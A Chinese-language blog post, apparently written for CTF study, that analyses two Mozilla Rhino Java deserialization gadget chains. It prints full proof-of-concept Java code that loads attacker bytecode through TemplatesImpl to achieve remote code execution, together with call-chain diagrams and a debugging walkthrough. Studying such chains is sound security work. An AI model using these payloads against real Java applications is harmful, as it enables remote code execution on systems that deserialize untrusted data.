May 1, 2023

Mozilla Rhino反序列化利用链学习

Mozilla Rhino介绍

Rhino的中文名是犀牛,我也不知道为什么作者这么取名,可能他喜欢犀牛吧(
ChatGPT先生的回答如下
Mozilla Rhino是一款基于Java语言的开源JavaScript引擎,可以嵌入到Java应用程序中,使得Java程序可以使用JavaScript语言进行编程。
使用Rhino可以实现在Java应用程序中运行JavaScript代码,从而扩展了Java的能力,比如可以动态地加载、编译和执行JavaScript代码,实现脚本化编程。
以下是使用Rhino的一些基本步骤:

  1. 下载Rhino:可以从Mozilla Rhino的官方网站下载最新版本的Rhino。
  2. 导入Rhino:将Rhino的JAR文件导入到Java项目中,并将其添加到classpath中。
  3. 创建ScriptEngine:使用ScriptEngineManager类创建ScriptEngine对象,该对象将用于执行JavaScript代码。
  4. 执行JavaScript代码:使用ScriptEngine对象的eval()方法来执行JavaScript代码。

下面是一个简单的示例代码,演示了如何使用Rhino执行JavaScript代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
javaCopy code
import javax.script.*;

public class RhinoExample {
public static void main(String[] args) throws Exception {
// create a script engine manager
ScriptEngineManager factory = new ScriptEngineManager();

// create a JavaScript engine
ScriptEngine engine = factory.getEngineByName("JavaScript");

// evaluate JavaScript code from String
engine.eval("print('Hello, world!')");
}
}

这个例子中,我们创建了一个ScriptEngineManager对象来管理ScriptEngine,然后通过getEngineByName()方法创建了一个JavaScript引擎。接着,我们使用eval()方法来执行一行简单的JavaScript代码,输出了“Hello, world!”这个字符串。
在实际的应用程序中,我们可以将Rhino用于各种用途,比如编写脚本、进行动态的代码生成和执行等。
用人话来说,Rhino库是用来在Java中执行Js代码的一个库,比如上述例子中我们可以运行print函数

Rhino1链

这一条链其实是比较长的也比较复杂,所以这里先给出调用链的逻辑图,这样可以缓解一些复杂程度,单看链长其实是没什么特别的,也不是特别长,主要是其中的一些细节需要注意

1
2
3
4
5
6
7
8
BadAttributeValueExpException.readObject()
NativeError.toString()
ScriptableObject.getProperty()
ScriptableObject.getImpl()
NativeJavaMethod.call()
NativeJavaObject.unwrap()
MemberBox.invoke()
TemplatesImpl.newTransformer()

同时我先放出poc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.mozilla.javascript.*;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class RhinoChain1 {

public static String fileName = "MozillaRhino1.bin";

public static void main(String[] args) throws Exception {

Templates templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Boogipop");
byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\evil.class"));
byte[][] codes={code};
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",codes);

// 实例化 NativeError 类
Class<?> nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor<?> nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
nativeErrorConstructor.setAccessible(true);
Scriptable nativeError = (Scriptable) nativeErrorConstructor.newInstance();

// 使用恶意类 TemplatesImpl 初始化 NativeJavaObject
// 这样 unwrap 时会返回 tmpl 实例
// 由于 NativeJavaObject 序列化时会调用 initMembers() 方法
// 所以需要在实例化 NativeJavaObject 时也进行相关初始化
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, templates, TemplatesImpl.class);

// 使用 newTransformer 的 Method 对象实例化 NativeJavaMethod 类
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "name");

// 使用反射将 nativeJavaObject 写入到 NativeJavaMethod 实例的 prototypeObject 中
Field prototypeField = ScriptableObject.class.getDeclaredField("prototypeObject");
prototypeField.setAccessible(true);
prototypeField.set(nativeError, nativeJavaObject);

// 将 GetterSlot 放入到 NativeError 的 slots 中
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);

// 反射将 NativeJavaMethod 实例放到 GetterSlot 的 getter 里
// ysoserial 调用了 setGetterOrSetter 方法,我这里直接反射写进去,道理都一样
Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getterField = getterSlotClass.getDeclaredField("getter");
getterField.setAccessible(true);
getterField.set(slotObject, nativeJavaMethod);

// 生成 BadAttributeValueExpException 实例,用于反序列化触发 toString 方法
BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, nativeError);

deserial(serial(exception));

}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}

}

OK。准备就绪。那么就开始调试分析吧。
入口点自然是BadAttribute的toString。
image.png
塞了一个NativeError对象,而这也是今天的主角。我们仔细看看这个类的构造吧。
image.png
首先它继承IdScriptableObject,而IdScriptableObject又继承ScriptableObject,进而继承serializable接口,因此是可以被序列化和反序列化的。
随后就去调用了toString方法。
image.png
跟进。
image.png
这里调用了ScriptableObject.getProperty,这是它父类的一个方法,参数是它本身(NativeError)。跟进。
image.png
这里调用了NativeError.get方法,由于它自身是没有get的,因此用的是父类的。
image.png
继续调父类的get。
image.png
跟进getImpl。接下来就会有点多的内容了。
image.png
可以看到是调用了getSlot方法。返回一个Slot数组。我们这里跟进去看看逻辑
image.png
判断是不是GetterSlot实例,如果是就返回。从下方的变量来看是的。所以直接返回。
image.png
随后退回getImpl方法,获取刚刚得到的slot的getter属性。
image.png
获取到一个NativeJavaMethod实例。
image.png
随后判断delegateTo是否为空,这里delegateTo属性是trensit修饰,自然不能反射修改也不能赋值,所以是空的因此调用call方法。这里的f就是刚刚的getter对象也就是NativeJavaMethod实例,跟进call。
image.png
获取methods属性的第一个元素,这里我们在POC中把它改为了一个恶意的MethodBox
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while(true) {
if (o == null) {
throw Context.reportRuntimeError3("msg.nonjava.method", this.getFunctionName(), ScriptRuntime.toString(thisObj), c.getName());
}

if (o instanceof Wrapper) {
javaObject = ((Wrapper)o).unwrap();
if (c.isInstance(javaObject)) {
break;
}
}

o = o.getPrototype();
}
}

随后会进入上述的一串while循环,第一次是过掉了2个if进入了getPrototype(),o为NativeError类,这个方法会获取其prototypeObject属性
image.png
可以看到我们获取到了一个NativeJavaObject实例
image.png
其中的javaObject就是恶意templates
image.png
调用NativeJavaObject的uwrap函数,跟进看看
image.png
返回JavaObject也就是Templates,随之invoke 完成 rce
image.png

小细节

POC中有这么一段

1
2
3
4
5
6
7
8
9
10
11
// 将 GetterSlot 放入到 NativeError 的 slots 中
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slotObject = getSlot.invoke(nativeError, "name", 0, 4);

// 反射将 NativeJavaMethod 实例放到 GetterSlot 的 getter 里
// ysoserial 调用了 setGetterOrSetter 方法,我这里直接反射写进去,道理都一样
Class<?> getterSlotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getterField = getterSlotClass.getDeclaredField("getter");
getterField.setAccessible(true);
getterField.set(slotObject, nativeJavaMethod);

这一段第一次看起来可能比较的迷惑。首先第一段反射调用getSlot方法获取到一个Slot对象,然后GetterSlot是Slot的子类
image.png
因此我们设置Slot的getter方法对应调试流程中的这一步
image.png
强转Slot为GetterSlot获取getter属性

Rhino2链

我直接复制粘贴了,实在是比较的长。
参考:https://su18.org/post/ysoserial-su18-4/#nativejavaarray-environment

前置知识

JavaMembers

org.mozilla.javascript.JavaMembers 是 Rhino 对 Java Class的一种封装和描述。
JavaMembers 实例化时接收一个 Scriptable 对象,一个 Class 类型的对象,和一个布尔类型的参数 includeProtected 表示是否包含 “Protect” 修饰符的,调用 reflect() 方法获取类的信息并放入自己的相关成员变量中。
image.png
其中包括:

经过了 JavaMembers 的初始化后,可以说一个 Java Class 的相关信息被储存和封装在了这个 JavaMembers 中。JavaMembers 提供了很多方法来查询和提取相应的对象以供调用。
image.png
其中有一个 static 方法 lookupClass(),为 JavaMembers 对象提供了缓存功能,如果有,则从ClassCache 中提取,如果没有,则 new 一个 JavaMembers 并放在响应的缓存中。
image.png
JavaMembers 还提供了一个 get() 方法,是本条链最重要的触发点,简单来说,这个方法接收一个属性名,和一个类实例,然后使用反射去调用这个属性的 getter 方法,然后根据返回值的类型不同,使用自己的类去 Wrap 这个返回值,如 Array 用 NativeJavaArray, Object 的用 NativeJavaObject。
image.png
那既然如此,就可以使用这个方法来触发 TemplatesImpl 的 getOutputProperties 方法。测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();

Class<?> c = Class.forName("org.mozilla.javascript.JavaMembers");
Method m = c.getDeclaredMethod("lookupClass", Scriptable.class, Class.class, Class.class, boolean.class);
m.setAccessible(true);
Object o = m.invoke(null, scriptableObject, TemplatesImpl.class, TemplatesImpl.class, true);

Method m2 = c.getDeclaredMethod("get", Scriptable.class, String.class, Object.class, boolean.class);
m2.setAccessible(true);
m2.invoke(o, scriptableObject, "outputProperties", tmpl, false);

NativeJavaObject

在 MozillaRhino1 中,使用了 NativeJavaObject 作为 Wrapper 类来返回恶意的 javaObject,也就是 TemplatesImpl,当时仅仅是关注了 NativeJavaObject 同时实现了 Wrapper 和 Scriptable 这两个接口,这里来详细看一下。
NativeJavaObject 是一个对非 Array 类型的 Java Object 的封装,构造方法接收 javaObject 对象,staticType Class对象,调用 initMembers() 方法来封装和获取相关信息。
image.png
initMembers() 方法调用了 JavaMembers.lookupClass() 来执行之前描述过的解析过程,而将生成的结果存在成员变量 member 中。
image.png
而 NativeJavaObject 的 get 方法则调用了 JavaMembers 的 get 方法。
image.png
那其实就可以通过 NativeJavaObject 的 get 方法来直接出发恶意调用,测试代码如下:

1
2
3
4
5
TemplatesImpl    tmpl             = SerializeUtil.generateTemplatesImpl();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
NativeJavaObject nativeJavaObject = new NativeJavaObject(scriptableObject, tmpl, TemplatesImpl.class);
nativeJavaObject.get("outputProperties", scriptableObject);

除此之外,NativeJavaObject 实现了 Serializable 接口,重写了 readObject 方法,在反序列化过程中,会判断 isAdapter 标志位,如果为 true,则会调用反射调用 adapter_readAdapterObject 传入 this 对象和 ObjectInputStream。
image.png
而这个 adapter_readAdapterObject 实际上是 org.mozilla.javascript.JavaAdapter 的 readAdapterObject 方法,在 NativeJavaObject 的 static 语句进行了初始化。
image.png
也就是说,在 isAdapter 为 false 时,NativeJavaObject 使用自己的逻辑反序列化,而 isAdapter 为 true 时,NativeJavaObject 委托 JavaAdapter 为其反序列化。跟一下调用逻辑:
readAdapterObject 从 ObjectInputStream 中读取数据,调用 getAdapterClass() 获取 Adapter 对象的 Class,并通过反射调用指定参数的构造方法进行实例化, getAdapterClass() 方法接收的第四个参数 delegee 其实就是 NativeJavaObject 中的 javaObject。
image.png
getAdapterClass() 方法调用了 getObjectFunctionNames 方法返回 ObjToIntMap 对象。
image.png
而 getObjectFunctionNames 方法调用了 ScriptableObject.getProperty() 方法,会触发对象的 get 方法。
image.png
此时,如果 obj 是带有恶意 javaObjet 的 NativeJavaObject,而 id 是 “outputProperties”,岂不是就触发漏洞了吗?
想的很美,但是 id 并非传参,而是使用了 ScriptableObject.getPropertyIds(obj) 返回的字符串类型数组循环得到的。
ScriptableObject.getPropertyIds() 方法实际调用 obj 的 getIds(),而如果 obj 是 NativeJavaObject ,将会调用 JavaMembers 的 getIds 方法。
image.png
方法会返回所有非静态 member 储存 Map 的 key,实际上 JavaMembers 对象初始化时储存的全部成员变量和方法的 name 。
image.png
这种情况下,如果 obj 为 NativeJavaObject ,ids 中确实可以包含 outputProperties,但是由于后续会触发 invoke 方法调用,for 循环还没执行到那一步就会报错。所以还是没办法触发调用。
image.png
于是我们需要想办法让 ScriptableObject.getPropertyIds() 这个方法只返回一个值。

NativeJavaArray + Environment

NativeJavaArray 是 NativeJavaObject 的子类,满足 NativeJavaObject 的一切特征。
同时其 getIds() 方法返回空。
image.png
ScriptableObject.getPropertyIds() 这个方法会调用 obj 的 getIds(),还会调用其原型 prototype 的 getIds()。
image.png
ysoserial 使用了 org.mozilla.javascript.tools.shell.Environment 作为 NativeJavaArray 的原型触发,Environment 的 getIds() 方法调用 super 也就是 ScriptableObject.getIds()
image.png
方法从 firstAdded 成员变量中获取 Slot name 并返回。
image.png
这样我们就可以构造出利用链了。

攻击构造

这条链我仅仅是看通了调用,对于 Rhino 本身的代码并不了解,所以很难说完全理解了利用链,这里直接使用 ysoserial 的代码来进行攻击构造,先列出几个点:

最终代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
public class MozillaRhino2 {

public static String fileName = "MozillaRhino2.bin";

public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}

public static void main(String[] args) throws Exception {

// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();

// 初始化一个 Environment 对象作为 scope
ScriptableObject scope = new Environment();
// 创建 associatedValues
Map<Object, Object> associatedValues = new Hashtable<>();
// 创建一个 ClassCache 实例
Object classCacheObject = SerializeUtil.createInstanceUnsafely(ClassCache.class);
associatedValues.put("ClassCache", classCacheObject);

Field associateField = ScriptableObject.class.getDeclaredField("associatedValues");
associateField.setAccessible(true);
associateField.set(scope, associatedValues);

Class<?> memberBoxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor<?> constructor = memberBoxClass.getDeclaredConstructor(Method.class);
constructor.setAccessible(true);
Object initContextMemberBox = constructor.newInstance(Context.class.getMethod("enter"));

ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
makeSlot.setAccessible(true);
Object slot = makeSlot.invoke(initContextScriptableObject, "su18", 0, 4);

Class<?> slotClass = Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
Field getterField = slotClass.getDeclaredField("getter");
getterField.setAccessible(true);
getterField.set(slot, initContextMemberBox);


// 实例化 NativeJavaObject 类
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();

Field parentField = NativeJavaObject.class.getDeclaredField("parent");
parentField.setAccessible(true);
parentField.set(initContextNativeJavaObject, scope);

Field isAdapterField = NativeJavaObject.class.getDeclaredField("isAdapter");
isAdapterField.setAccessible(true);
isAdapterField.set(initContextNativeJavaObject, true);

Field adapterObject = NativeJavaObject.class.getDeclaredField("adapter_writeAdapterObject");
adapterObject.setAccessible(true);
adapterObject.set(initContextNativeJavaObject, MozillaRhino2.class.getDeclaredMethod("customWriteAdapterObject",
Object.class, ObjectOutputStream.class));

Field javaObject = NativeJavaObject.class.getDeclaredField("javaObject");
javaObject.setAccessible(true);
javaObject.set(initContextNativeJavaObject, initContextScriptableObject);

ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);


// 实例化 NativeJavaArray类
NativeJavaArray nativeJavaArray = (NativeJavaArray) SerializeUtil.createInstanceUnsafely(NativeJavaArray.class);

Field parentField2 = NativeJavaObject.class.getDeclaredField("parent");
parentField2.setAccessible(true);
parentField2.set(nativeJavaArray, scope);

Field javaObject2 = NativeJavaObject.class.getDeclaredField("javaObject");
javaObject2.setAccessible(true);
javaObject2.set(nativeJavaArray, tmpl);

nativeJavaArray.setPrototype(scriptableObject);

Field prototypeField = NativeJavaObject.class.getDeclaredField("prototype");
prototypeField.setAccessible(true);
prototypeField.set(nativeJavaArray, scriptableObject);

// 实例化最外层的 NativeJavaObject

NativeJavaObject nativeJavaObject = new NativeJavaObject();

Field parentField3 = NativeJavaObject.class.getDeclaredField("parent");
parentField3.setAccessible(true);
parentField3.set(nativeJavaObject, scope);

Field isAdapterField3 = NativeJavaObject.class.getDeclaredField("isAdapter");
isAdapterField3.setAccessible(true);
isAdapterField3.set(nativeJavaObject, true);

Field adapterObject3 = NativeJavaObject.class.getDeclaredField("adapter_writeAdapterObject");
adapterObject3.setAccessible(true);
adapterObject3.set(nativeJavaObject, MozillaRhino2.class.getDeclaredMethod("customWriteAdapterObject",
Object.class, ObjectOutputStream.class));

Field javaObject3 = NativeJavaObject.class.getDeclaredField("javaObject");
javaObject3.setAccessible(true);
javaObject3.set(nativeJavaObject, nativeJavaArray);

SerializeUtil.writeObjectToFile(nativeJavaObject, fileName);
SerializeUtil.readFileObject(fileName);

}

}

总结

以上就是 MozillaRhino2 链分析的全部内容了,可以看到,这两条链的作者对 Rhino 的功能和实现特别了解,调用链十分长且难懂,最后总结一下。

  1. 利用说明:

    • NativeJavaObject 在反序列化时调用 JavaAdapter 的 readAdapterObject 来处理指定的 NativeJavaArray 类,会调用其中 prototype 中的 Environment 类中 slots 的 getter 方法,由 JavaMembers 的 get 方法触发。
  2. Gadget 总结:

    • kick-off gadget:org.mozilla.javascript.NativeJavaObject#readObject()
    • sink gadget:org.mozilla.javascript.JavaMembers#get()
    • chain gadget:org.mozilla.javascript.JavaAdapter#getAdapterClass()
  3. 调用链展示:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    NativeJavaObject.readObject()
    JavaAdapter.readAdapterObject()
    JavaAdapter.getAdapterClass()
    JavaAdapter.getObjectFunctionNames()
    ScriptableObject.getPropertyIds()
    NativeJavaArray.getIds()
    Environment.getIds()
    ScriptableObject.getIds()
    ScriptableObject.getProperty()
    NativeJavaArray.get()
    JavaMembers.get()
    TemplatesImpl.getOutputProperties()
  4. 依赖版本

rhino-js > 1.6R6

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF